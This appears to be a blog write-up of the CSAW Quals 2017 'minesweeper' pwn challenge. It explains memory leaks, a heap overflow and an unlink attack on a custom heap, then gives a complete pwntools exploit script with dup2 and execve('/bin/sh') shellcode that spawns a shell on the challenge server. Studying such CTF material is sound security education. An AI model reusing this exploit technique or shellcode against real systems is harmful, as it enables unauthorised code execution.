CSAW Quals 2017 Writeup: minesweeper

Solved by sg004

Hello. 🙂

CSAW Quals 2017 was a nice CTF with some good challenges. I liked minesweeper as it was one of them. The program implemented a custom heap and it was fun to reverse and pwn. So let’s dive in.

This was a dynamically linked ELF 32-bit LSB executable, stripped and packed.

Running checksec on the binary gave:

CSAW_500_6

So the approach is to naturally try and use shellcode.

First, I unpacked it using UPX.

csaw_500_w_1

Now we get to the code.

What this binary does is it allows a player to set up a game and play it.

  • For playing a game there are functions where we can view the game board, uncover locations and quit.
  • For setting up, the game allows us to enter the dimensions (d1 and d2) for the game board and if d1*d2 is less than 4095, then the corresponding block is allocated to us where we input the data which will be seen on our board.

These are the 2 vulnerabilities in our code.

So, in the view board function, we see the contents of our ‘board’. So sideX*sideY bytes which we have input should be printed out. But if you look closely then you can see that sideY*sideY*sideX bytes are being printed out. This is the fault in the code which gives us our memory leaks.

csaw_500_2

Also, as given in the function for playing the game, if the game has not been initialized before, then an area of the stack is printed out. This gives us a stack leak, which I used to calculate the saved eip of main. Then, if we initialize a small chunk of, say, dimensions 3*3, then we can get a leak of the heap address.

Using these leaks we can move on to the stage of pwning this binary.

So if you look at the function where we initialize our game, one gaping mistake is visible. The size requested by us for the chunk is sideX*sideY bytes. The program asks us to input sideX*sideY bytes. But, the chunk allocated is of (sideX-1)*(sideY-1) bytes. This is an obvious overflow which allows us to overwrite the data of the FD and BK pointers of the binary. The highlighted line shows the fault.

csaw_500_3

So now we know that we can overwrite the data in the next chunk by an overflow in the next chunk. Let us also see the chunk layout once.

csaw_500_4

Notice the highlighted addresses. The chunk is in the format: size, FD, BK. Also notice the data in 0x9e004f0. It is a pointer to the list of all chunks as shown at the end.

Now we know the following: the address of the saved eip of main, the base address of the heap and a way to overflow into chunks and corrupt their FD and BK pointers. With this information, I used the unlink vulnerability.

If you look at the code of the function at address 0x8049834 in IDA you can see that unlinking is taking place, we can call this function unlink(). In the function at 0x804987D, you can see unlink() being called. It is basically the function which allocates the memory in the heap, we can call this as heap_stuff().

So in the function where we set up our game, heap_stuff() is called several times. We are concerned with the calls happening in the screenshot above. Namely, the calls at the third and the last line. So basically at the call to heap_stuff() in the third line the chunk we request gets allocated and then at the next call to heap_stuff() the chunk which the program created to print this message out:

csaw_500_5.png

gets unlinked. So, if we can overwrite the FD and BK pointers of this chunk to an address to shellcode and the saved eip of main, then we can have shell right? That is exactly what was done. The only thing to look out for is the process of unlinking.

Say, for a chunk at address A, unlinking works as follows:

  • *(*(A+4) + 8) = *(A+8)      // Logic: FD->BK = BK
  • *(*(A+8) + 4) = *(A+4)      // Logic: BK->FD = FD

So the first thing to note here is that to overwrite saved_eip of main I will be giving saved_eip-8 as the FD and the address of shellcode as the BK. Note that unlinking changes the data in both the ‘FD’ and ‘BK’ pointers. So it means that our shellcode is going to have some mangled bytes containing the FD. For this, I used a jmp instruction before actually beginning with my shellcode.

jmp 0x6

So following these steps gave the flag. On the server.

This binary connects to the user using sockets and the shell we spawn takes input from stdin and stdout. That means that even though we have a shell, we cannot give it any commands. For that, I first used the shellcode equivalent of dup2 (available on googling) and then the shellcode for execve(‘/bin/sh’, 0, 0).

That really gave the shell. 🙂

So revising:

  • Print out the board without initializing the game. This gives the stack leak and hence the address of the saved_eip of main.
  • Make a board of dimensions less than 6×6 and print it out. That gives the leak of an address in the heap.
  • Make a chunk of dimensions 14×14 and using it overwrite the FD and BK of the next chunk.
  • This next chunk is unlinked in the following section of the code which overwrites the value at saved_eip with shellcode.
  • Exit the program, this triggers the shellcode and gives shell.

Well, that is pretty much it.

The script:

from pwn import *

if __name__ == '__main__':

    if sys.argv[1] == 'local':
        p = remote('localhost', 31337)

    else:
        p = remote('pwn.chal.csaw.io', 7478)

    p.recvuntil('(Quit)\n')
    p.sendline('N')

    p.recvuntil('(Q)\n')
    p.sendline('v')

    p.recvuntil('v')
    for i in xrange(13):
        p.recvuntil('\n')

    leak = p.recvuntil('\n')
    leak = leak.strip()
    leak += p.recv(2)

    leak = leak[3:]
    leak = u32(leak)

    ret = leak + 4

    p.sendline('q')

    p.recvuntil('(Quit)\n')
    p.sendline('i')

    p.recvuntil('Y\n')
    p.sendline('B 3 3')

    p.recvuntil('X\n')
    p.sendline('AXAAAAAAA')

    p.recvuntil('(Quit)\n')
    p.sendline('n')

    p.recvuntil('(Q)\n')
    p.sendline('v')

    p.recvuntil('\x12\x00\x00\n')
    p.recvuntil('\x00')
    leak = p.recv(2)
    p.recv(1)
    leak += p.recv(2)
    leak = u32(leak)

    leak -= leak%0x1000

    p.sendline('q')

    p.recvuntil('(Quit)\n')
    p.sendline('i')

    p.recvuntil('Y\n')
    p.sendline('b 14 14')

    p.recvuntil('X\n')

    shellcode = '\xeb\x06' + '\x90'*6
    #shellcode += '\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81'
    shellcode += 'j\x02[j)X\xcd\x80H\x89\xc61\xc9V[j?X\xcd\x80A\x80\xf9\x03u\xf5j\x0bX\x99R1\xf6Vh//shh/bin\x89\xe31\xc9\xcd\x80'

    payload = fit({0:'AX'}, length=40, filler='A') + 'A'*8 #p32(ret-8) + p32(leak + 0x6c)
    payload = fit({0: payload + shellcode}, filler='\x90', length=198-14-4) + p32(0x12)
    payload += p32(ret-8) + p32(leak + 0x6c) + '\x90'*6
    p.sendline(payload)

    p.recvuntil('\n')
    p.sendline('q')

    p.interactive()

Flag: flag{h3aps4r3fun351eabf3}
Happy pwning. 🙂

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Create a free website or blog at WordPress.com.

Up ↑

%d bloggers like this: